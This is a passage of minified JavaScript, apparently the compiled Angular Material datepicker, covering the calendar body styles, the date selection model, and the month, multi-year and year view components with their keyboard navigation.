new(h||O)(c.Y36(c.SBq),c.Y36(c.R0b))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["","mat-calendar-body",""]],hostAttrs:[1,"mat-calendar-body"],inputs:{label:"label",rows:"rows",todayValue:"todayValue",startValue:"startValue",endValue:"endValue",labelMinRequiredCells:"labelMinRequiredCells",numCols:"numCols",activeCell:"activeCell",isRange:"isRange",cellAspectRatio:"cellAspectRatio",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd",previewStart:"previewStart",previewEnd:"previewEnd"},outputs:{selectedValueChange:"selectedValueChange",previewChange:"previewChange",activeDateChange:"activeDateChange"},exportAs:["matCalendarBody"],features:[c.TTD],attrs:q,decls:2,vars:2,consts:[["aria-hidden","true",4,"ngIf"],["role","row",4,"ngFor","ngForOf"],["aria-hidden","true"],[1,"mat-calendar-body-label"],["role","row"],["class","mat-calendar-body-label",3,"paddingTop","paddingBottom",4,"ngIf"],["role","gridcell","class","mat-calendar-body-cell-container",3,"width","paddingTop","paddingBottom",4,"ngFor","ngForOf"],["role","gridcell",1,"mat-calendar-body-cell-container"],["type","button",1,"mat-calendar-body-cell",3,"ngClass","tabindex","click","focus"],[1,"mat-calendar-body-cell-content","mat-focus-indicator"],["aria-hidden","true",1,"mat-calendar-body-cell-preview"]],template:function(h,$){1&h&&(c.YNc(0,we,3,6,"tr",0),c.YNc(1,Ze,3,2,"tr",1)),2&h&&(c.Q6J("ngIf",$._firstRowOffset<$.labelMinRequiredCells),c.xp6(1),c.Q6J("ngForOf",$.rows))},dependencies:[u.mk,u.sg,u.O5],styles:[\'.mat-calendar-body{min-width:224px}.mat-calendar-body-label{height:0;line-height:0;text-align:left;padding-left:4.7142857143%;padding-right:4.7142857143%}.mat-calendar-body-cell-container{position:relative;height:0;line-height:0}.mat-calendar-body-cell{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);position:absolute;top:0;left:0;width:100%;height:100%;background:none;text-align:center;outline:none;font-family:inherit;margin:0}.mat-calendar-body-cell::-moz-focus-inner{border:0}.mat-calendar-body-cell::before,.mat-calendar-body-cell::after,.mat-calendar-body-cell-preview{content:"";position:absolute;top:5%;left:0;z-index:0;box-sizing:border-box;height:90%;width:100%}.mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-start::after,.mat-calendar-body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,.mat-calendar-body-comparison-start::after,.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:5%;width:95%;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,[dir=rtl] .mat-calendar-body-comparison-start::after,[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:0;border-radius:0;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,.mat-calendar-body-comparison-end::after,.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}[dir=rtl] .mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,[dir=rtl] .mat-calendar-body-comparison-end::after,[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{left:5%;border-radius:0;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-comparison-bridge-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-bridge-end.mat-calendar-body-range-start::after{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end.mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-end.mat-calendar-body-range-start::after{width:90%}.mat-calendar-body-in-preview .mat-calendar-body-cell-preview{border-top:dashed 1px;border-bottom:dashed 1px}.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:dashed 1px}[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:0;border-right:dashed 1px}.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:dashed 1px}[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:0;border-left:dashed 1px}.mat-calendar-body-disabled{cursor:default}.cdk-high-contrast-active .mat-calendar-body-disabled{opacity:.5}.mat-calendar-body-cell-content{top:5%;left:5%;z-index:1;display:flex;align-items:center;justify-content:center;box-sizing:border-box;width:90%;height:90%;line-height:1;border-width:1px;border-style:solid;border-radius:999px}.mat-calendar-body-cell-content.mat-focus-indicator{position:absolute}.cdk-high-contrast-active .mat-calendar-body-cell-content{border:none}.cdk-high-contrast-active .mat-datepicker-popup:not(:empty),.cdk-high-contrast-active .mat-calendar-body-cell:not(.mat-calendar-body-in-range) .mat-calendar-body-selected{outline:solid 1px}.cdk-high-contrast-active .mat-calendar-body-today{outline:dotted 1px}.cdk-high-contrast-active .mat-calendar-body-cell::before,.cdk-high-contrast-active .mat-calendar-body-cell::after,.cdk-high-contrast-active .mat-calendar-body-selected{background:none}.cdk-high-contrast-active .mat-calendar-body-in-range::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-start::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-end::before{border-top:solid 1px;border-bottom:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:0;border-right:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:0;border-left:solid 1px}.cdk-high-contrast-active .mat-calendar-body-in-comparison-range::before{border-top:dashed 1px;border-bottom:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:0;border-right:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:0;border-left:dashed 1px}[dir=rtl] .mat-calendar-body-label{text-align:right}\'],encapsulation:2,changeDetection:0}),O})();function R(O){return"TD"===O.nodeName}function X(O,de,h){return null!==h&&de!==h&&O<h&&O===de}function _e(O,de,h){return null!==de&&de!==h&&O>=de&&O===h}function ct(O,de,h,$){return $&&null!==de&&null!==h&&de!==h&&O>=de&&O<=h}class Je{constructor(de,h){this.start=de,this.end=h}}let Et=(()=>{class O{constructor(h,$){this.selection=h,this._adapter=$,this._selectionChanged=new S.xQ,this.selectionChanged=this._selectionChanged,this.selection=h}updateSelection(h,$){const ke=this.selection;this.selection=h,this._selectionChanged.next({selection:h,source:$,oldValue:ke})}ngOnDestroy(){this._selectionChanged.complete()}_isValidDateInstance(h){return this._adapter.isDateInstance(h)&&this._adapter.isValid(h)}}return O.\\u0275fac=function(h){c.$Z()},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})(),Dt=(()=>{class O extends Et{constructor(h){super(null,h)}add(h){super.updateSelection(h,this)}isValid(){return null!=this.selection&&this._isValidDateInstance(this.selection)}isComplete(){return null!=this.selection}clone(){const h=new O(this._adapter);return h.updateSelection(this.selection,this),h}}return O.\\u0275fac=function(h){return new(h||O)(c.LFG(_._A))},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})();const te={provide:Et,deps:[[new c.FiY,new c.tp0,Et],_._A],useFactory:function Ie(O,de){return O||new Dt(de)}},b=new c.OlP("MAT_DATE_RANGE_SELECTION_STRATEGY");let wt=(()=>{class O{constructor(h,$,ke,lt,Wt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rangeStrategy=Wt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this._userSelection=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){const $=this._activeDate,ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._hasSameMonthAndYear($,this._activeDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setRanges(this._selected)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnChanges(h){const $=h.comparisonStart||h.comparisonEnd;$&&!$.firstChange&&this._setRanges(this.selected)}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_dateSelected(h){const $=h.value,ke=this._getDateFromDayOfMonth($);let lt,Wt;this._selected instanceof Je?(lt=this._getDateInCurrentMonth(this._selected.start),Wt=this._getDateInCurrentMonth(this._selected.end)):lt=Wt=this._getDateInCurrentMonth(this._selected),(lt!==$||Wt!==$)&&this.selectedChange.emit(ke),this._userSelection.emit({value:ke,event:h.event}),this._previewStart=this._previewEnd=null,this._changeDetectorRef.markForCheck()}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromDayOfMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this._activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,-7);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,7);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,1-this._dateAdapter.getDate(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,this._dateAdapter.getNumDaysInMonth(this._activeDate)-this._dateAdapter.getDate(this._activeDate));break;case H.Ku:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,-1):this._dateAdapter.addCalendarMonths(this._activeDate,-1);break;case H.VM:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,1):this._dateAdapter.addCalendarMonths(this._activeDate,1);break;case H.K5:case H.L_:return this._selectionKeyPressed=!0,void(this._canSelect(this._activeDate)&&h.preventDefault());case H.hY:return void(null!=this._previewEnd&&!(0,H.Vb)(h)&&(this._previewStart=this._previewEnd=null,this.selectedChange.emit(null),this._userSelection.emit({value:null,event:h}),h.preventDefault(),h.stopPropagation()));default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._canSelect(this._activeDate)&&this._dateSelected({value:this._dateAdapter.getDate(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setRanges(this.selected),this._todayDate=this._getCellCompareValue(this._dateAdapter.today()),this._monthLabel=this._dateFormats.display.monthLabel?this._dateAdapter.format(this.activeDate,this._dateFormats.display.monthLabel):this._dateAdapter.getMonthNames("short")[this._dateAdapter.getMonth(this.activeDate)].toLocaleUpperCase();let h=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),1);this._firstWeekOffset=(7+this._dateAdapter.getDayOfWeek(h)-this._dateAdapter.getFirstDayOfWeek())%7,this._initWeekdays(),this._createWeekCells(),this._changeDetectorRef.markForCheck()}_focusActiveCell(h){this._matCalendarBody._focusActiveCell(h)}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_previewChanged({event:h,value:$}){if(this._rangeStrategy){const lt=this._rangeStrategy.createPreview($?$.rawValue:null,this.selected,h);this._previewStart=this._getCellCompareValue(lt.start),this._previewEnd=this._getCellCompareValue(lt.end),this._changeDetectorRef.detectChanges()}}_getDateFromDayOfMonth(h){return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),h)}_initWeekdays(){const h=this._dateAdapter.getFirstDayOfWeek(),$=this._dateAdapter.getDayOfWeekNames("narrow");let lt=this._dateAdapter.getDayOfWeekNames("long").map((Wt,p1)=>({long:Wt,narrow:$[p1]}));this._weekdays=lt.slice(h).concat(lt.slice(0,h))}_createWeekCells(){const h=this._dateAdapter.getNumDaysInMonth(this.activeDate),$=this._dateAdapter.getDateNames();this._weeks=[[]];for(let ke=0,lt=this._firstWeekOffset;ke<h;ke++,lt++){7==lt&&(this._weeks.push([]),lt=0);const Wt=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),ke+1),p1=this._shouldEnableDate(Wt),w1=this._dateAdapter.format(Wt,this._dateFormats.display.dateA11yLabel),Qt=this.dateClass?this.dateClass(Wt,"month"):void 0;this._weeks[this._weeks.length-1].push(new P(ke+1,$[ke],w1,p1,Qt,this._getCellCompareValue(Wt),Wt))}}_shouldEnableDate(h){return!!h&&(!this.minDate||this._dateAdapter.compareDate(h,this.minDate)>=0)&&(!this.maxDate||this._dateAdapter.compareDate(h,this.maxDate)<=0)&&(!this.dateFilter||this.dateFilter(h))}_getDateInCurrentMonth(h){return h&&this._hasSameMonthAndYear(h,this.activeDate)?this._dateAdapter.getDate(h):null}_hasSameMonthAndYear(h,$){return!(!h||!$||this._dateAdapter.getMonth(h)!=this._dateAdapter.getMonth($)||this._dateAdapter.getYear(h)!=this._dateAdapter.getYear($))}_getCellCompareValue(h){if(h){const $=this._dateAdapter.getYear(h),ke=this._dateAdapter.getMonth(h),lt=this._dateAdapter.getDate(h);return new Date($,ke,lt).getTime()}return null}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setRanges(h){h instanceof Je?(this._rangeStart=this._getCellCompareValue(h.start),this._rangeEnd=this._getCellCompareValue(h.end),this._isRange=!0):(this._rangeStart=this._rangeEnd=this._getCellCompareValue(h),this._isRange=!1),this._comparisonRangeStart=this._getCellCompareValue(this.comparisonStart),this._comparisonRangeEnd=this._getCellCompareValue(this.comparisonEnd)}_canSelect(h){return!this.dateFilter||this.dateFilter(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(b,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-month-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",_userSelection:"_userSelection",activeDateChange:"activeDateChange"},exportAs:["matMonthView"],features:[c.TTD],decls:7,vars:13,consts:[["role","grid",1,"mat-calendar-table"],[1,"mat-calendar-table-header"],["scope","col",4,"ngFor","ngForOf"],["aria-hidden","true","colspan","7",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","comparisonStart","comparisonEnd","previewStart","previewEnd","isRange","labelMinRequiredCells","activeCell","selectedValueChange","activeDateChange","previewChange","keyup","keydown"],["scope","col"],[1,"cdk-visually-hidden"],["aria-hidden","true"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c.YNc(3,le,5,2,"th",2),c.qZA(),c.TgZ(4,"tr"),c._UZ(5,"th",3),c.qZA()(),c.TgZ(6,"tbody",4),c.NdJ("selectedValueChange",function(lt){return $._dateSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("previewChange",function(lt){return $._previewChanged(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(3),c.Q6J("ngForOf",$._weekdays),c.xp6(3),c.Q6J("label",$._monthLabel)("rows",$._weeks)("todayValue",$._todayDate)("startValue",$._rangeStart)("endValue",$._rangeEnd)("comparisonStart",$._comparisonRangeStart)("comparisonEnd",$._comparisonRangeEnd)("previewStart",$._previewStart)("previewEnd",$._previewEnd)("isRange",$._isRange)("labelMinRequiredCells",3)("activeCell",$._dateAdapter.getDate($.activeDate)-1))},dependencies:[u.sg,w],encapsulation:2,changeDetection:0}),O})();const Vt=24;let qt=(()=>{class O{constructor(h,$,ke){this._changeDetectorRef=h,this._dateAdapter=$,this._dir=ke,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),u1(this._dateAdapter,$,this._activeDate,this.minDate,this.maxDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedYear(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_init(){this._todayYear=this._dateAdapter.getYear(this._dateAdapter.today());const $=this._dateAdapter.getYear(this._activeDate)-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate);this._years=[];for(let ke=0,lt=[];ke<Vt;ke++)lt.push($+ke),4==lt.length&&(this._years.push(lt.map(Wt=>this._createCellForYear(Wt))),lt=[]);this._changeDetectorRef.markForCheck()}_yearSelected(h){const $=h.value,ke=this._dateAdapter.createDate($,0,1),lt=this._getDateFromYear($);this.yearSelected.emit(ke),this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromYear(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,Vt-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)-1);break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*-Vt:-Vt);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*Vt:Vt);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked(),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._yearSelected({value:this._dateAdapter.getYear(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_getActiveCell(){return c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getDateFromYear(h){const $=this._dateAdapter.getMonth(this.activeDate),ke=this._dateAdapter.getNumDaysInMonth(this._dateAdapter.createDate(h,$,1));return this._dateAdapter.createDate(h,$,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForYear(h){const $=this._dateAdapter.createDate(h,0,1),ke=this._dateAdapter.getYearName($),lt=this.dateClass?this.dateClass($,"multi-year"):void 0;return new P(h,ke,ke,this._shouldEnableYear(h),lt)}_shouldEnableYear(h){if(null==h||this.maxDate&&h>this._dateAdapter.getYear(this.maxDate)||this.minDate&&h<this._dateAdapter.getYear(this.minDate))return!1;if(!this.dateFilter)return!0;for(let ke=this._dateAdapter.createDate(h,0,1);this._dateAdapter.getYear(ke)==h;ke=this._dateAdapter.addCalendarDays(ke,1))if(this.dateFilter(ke))return!0;return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedYear(h){if(this._selectedYear=null,h instanceof Je){const $=h.start||h.end;$&&(this._selectedYear=this._dateAdapter.getYear($))}else h&&(this._selectedYear=this._dateAdapter.getYear(h))}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-multi-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",activeDateChange:"activeDateChange"},exportAs:["matMultiYearView"],decls:5,vars:7,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"rows","todayValue","startValue","endValue","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._yearSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("rows",$._years)("todayValue",$._todayYear)("startValue",$._selectedYear)("endValue",$._selectedYear)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._getActiveCell()))},dependencies:[w],encapsulation:2,changeDetection:0}),O})();function u1(O,de,h,$,ke){const lt=O.getYear(de),Wt=O.getYear(h),p1=It(O,$,ke);return Math.floor((lt-p1)/Vt)===Math.floor((Wt-p1)/Vt)}function c1(O,de,h,$){return function _t(O,de){return(O%de+de)%de}(O.getYear(de)-It(O,h,$),Vt)}function It(O,de,h){let $=0;return h?$=O.getYear(h)-Vt+1:de&&($=O.getYear(de)),$}let kt=(()=>{class O{constructor(h,$,ke,lt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this.monthSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._dateAdapter.getYear($)!==this._dateAdapter.getYear(this._activeDate)&&this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedMonth(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_monthSelected(h){const $=h.value,ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),$,1);this.monthSelected.emit(ke);const lt=this._getDateFromMonth($);this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-this._dateAdapter.getMonth(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,11-this._dateAdapter.getMonth(this._activeDate));break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?-10:-1);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10:1);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._monthSelected({value:this._dateAdapter.getMonth(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setSelectedMonth(this.selected),this._todayMonth=this._getMonthInCurrentYear(this._dateAdapter.today()),this._yearLabel=this._dateAdapter.getYearName(this.activeDate);let h=this._dateAdapter.getMonthNames("short");this._months=[[0,1,2,3],[4,5,6,7],[8,9,10,11]].map($=>$.map(ke=>this._createCellForMonth(ke,h[ke]))),this._changeDetectorRef.markForCheck()}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getMonthInCurrentYear(h){return h&&this._dateAdapter.getYear(h)==this._dateAdapter.getYear(this.activeDate)?this._dateAdapter.getMonth(h):null}_getDateFromMonth(h){const $=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),ke=this._dateAdapter.getNumDaysInMonth($);return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForMonth(h,$){const ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),lt=this._dateAdapter.format(ke,this._dateFormats.display.monthYearA11yLabel),Wt=this.dateClass?this.dateClass(ke,"year"):void 0;return new P(h,$.toLocaleUpperCase(),lt,this._shouldEnableMonth(h),Wt)}_shouldEnableMonth(h){const $=this._dateAdapter.getYear(this.activeDate);if(null==h||this._isYearAndMonthAfterMaxDate($,h)||this._isYearAndMonthBeforeMinDate($,h))return!1;if(!this.dateFilter)return!0;for(let lt=this._dateAdapter.createDate($,h,1);this._dateAdapter.getMonth(lt)==h;lt=this._dateAdapter.addCalendarDays(lt,1))if(this.dateFilter(lt))return!0;return!1}_isYearAndMonthAfterMaxDate(h,$){if(this.maxDate){const ke=this._dateAdapter.getYear(this.maxDate),lt=this._dateAdapter.getMonth(this.maxDate);return h>ke||h===ke&&$>lt}return!1}_isYearAndMonthBeforeMinDate(h,$){if(this.minDate){const ke=this._dateAdapter.getYear(this.minDate),lt=this._dateAdapter.getMonth(this.minDate);return h<ke||h===ke&&$<lt}return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedMonth(h){this._selectedMonth=h instanceof Je?this._getMonthInCurrentYear(h.start)||this._getMonthInCurrentYear(h.end):this._getMonthInCurrentYear(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let 